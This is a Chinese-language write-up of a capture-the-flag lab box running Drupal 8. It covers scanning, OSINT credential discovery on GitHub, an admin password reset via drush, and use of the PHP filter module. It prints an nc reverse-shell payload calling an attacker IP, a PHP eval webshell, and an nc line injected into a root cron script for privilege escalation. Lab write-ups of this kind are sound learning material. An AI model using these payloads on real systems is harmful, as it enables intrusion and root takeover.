- 用netdicover探测存活主机。
- nmap继续扫描端口及其服务。
- 查看网站指纹,得知cms是8版本的drupal。
- 老规矩先把网站目录遍历一遍,也没有什么特别的发现,登录了/user/login上试了一下弱口令失败了,被锁了。没事,年轻人就是要敢于尝试(doge)。
- 那就扫一下网站上有没有漏洞,先上goby,如图没有漏洞。
- 然后zap,虽然扫描结果还是比goby详细一些,但也算不上什么大问题。
- 那就只能去看看概述找找提示了,里面说强行蛮力爆破不太可能成功,说要跳到盒子外思考。
- 然后注意到左下角有一个diy痕迹,不懂就查.
- 查到一个github上的用户,应该也不算离奇,好多程序员都喜欢往哪里面分享代码。再说上次who-wants-to-beking那个靶机还是百度出一个非洲酋长的名字和密码长度对应才登上去的,那个脑洞更离谱。
- 转去github上,在他的前几个文件里发现了一个用户名和密码。这应该算最基础的社工吧哈哈哈哈哈。人肉你比强攻快多了。
- 不过我刚刚爆弱口令的时候已经错了五次了,就用ssh登录吧。
- 经典素质三联。
- 看看mbox这个文件夹里面的文件,发现了一个定时计划任务:每十五分钟以root权限执行一次opt/scripts/backups.sh来备份数据,如果能对这个脚本有写入权限就可以提权。
- 先看看这个脚本,里面有两个没见过的命令:drush和gpg。
- 先搜了drush一下说是能修改账户的用户密码。
- 接着去官网搜了一下使用语法的例子。
- 搬上来用可以发现修改成功
- 来登录界面尝试用刚刚修改的用户名密码登录一下。
- 结果没想到还是被锁了,本来还以为是等一段时间就可以了。
- 那就接着去官网翻翻,发现了一个解决方法。
- 执行完之后就可以正常登录了,我不是很清楚那个flood表里存的啥,要是对后面有影响就恢复快照就是了。
- 去搜了一下有没有drupal的反弹shell,在一个外国的博客上看到人家写的是php的反向shell。
- 那这里我直接在php里写一个nc或者一句话木马应该也是行得通的,不过有点尴尬发现文本格式没有php。
- 去搜了一下官网的解释说php filter,官方的意思是他无了,不过甩了个下载地址。
- 在manage ->extend -> install new module这里新增module这里输入下载地址。
- 发现超时了,kali这边我没开桥接模式,没连物理机的代理服务器。
- 所以我这里在物理机上挂个代理下载下来。
- 然后用xshell传到kali上面。
- 从本地打开再下载,然后点击中间的启用新添加的插件。
- 把php filter的勾打上再点击install。
- 可以看到提示配置完成了。
- 依次点击 manage -> content -> add content -> basic pages 在页面写下nc连接语句,要注意先把底下那个text format勾选成php code。
<?php
system("nc -e /bin/bash 192.168.130.130 9999");
?>
- kali端开启nc监听,连接成功。
- 但是这里我试了三种写法都连接超时了升级不了交互式shell。
- 不过其实也没关系,反正能用上www-data的写入权,再写一个nc语句到定时计划里面。不过前面观察出时间间隔是15分钟,既然反正要等。
- 我干脆又试了一句话木马,我看别的wp写的msf,我就没去试了。
<?php
eval($_POST["ojbk"])
?>
- 这一次要点save保存页面这样才连接的上,这里我用的哥斯拉,如图连接成功。
- 一样的操作:
cd /opt/scripts
echo "nc -e /bin/bash 192.168.130.130 7777"
- 之后连接成功,然后cat flag。